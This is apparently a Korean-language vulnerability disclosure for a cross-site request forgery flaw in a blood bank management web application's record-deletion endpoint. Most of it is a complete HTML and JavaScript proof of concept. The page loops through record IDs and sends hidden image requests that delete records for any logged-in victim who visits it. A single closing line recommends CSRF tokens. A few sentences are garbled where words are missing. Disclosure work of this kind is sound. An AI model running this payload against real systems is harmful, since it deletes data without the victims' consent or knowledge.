
혈액 은행 CSRF 공격 POC
/file/delete.php?bid=BloodBank Management System의 혈액 요청 기능에서 사이트 간 요청 위조(CSRF) 취약점이 발견되었습니다. 이 결함은 이 경로 /file/delete.php?bid=로 delete 요청을 보낼 때 발생하며, bid 매개변수를 통해 애플리케이션에서 삭제할 레코드를 선택할 수 있습니다. 그러나 는 혈액 샘플 추가에 따라 동적으로 변하므로 요청을 성공시키기 위해 루프 내에서 자바스크립트로 생성된 이미지 태그를 사용했습니다.
bid성공적으로 악용될 경우 피해자를 대신하여 승인되지 않은 작업(예: 데이터 삭제) 이 발생할 수 있습니다. 또한 페이로드가 포함된 악성 웹사이트를 방문함으로써 악용될 수 있습니다.
다음은 bid 매개변수를 통해 사용 가능한 혈액 샘플을 삭제하는 CSRF PoC 공격 예시입니다. 공격자 제어 도메인(제 경우 localhost 사용)에 파일을 호스팅합니다:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf 토큰을 포함시키고, 상태 변경 작업을 GET 요청으로 수행하지 않도록 하십시오.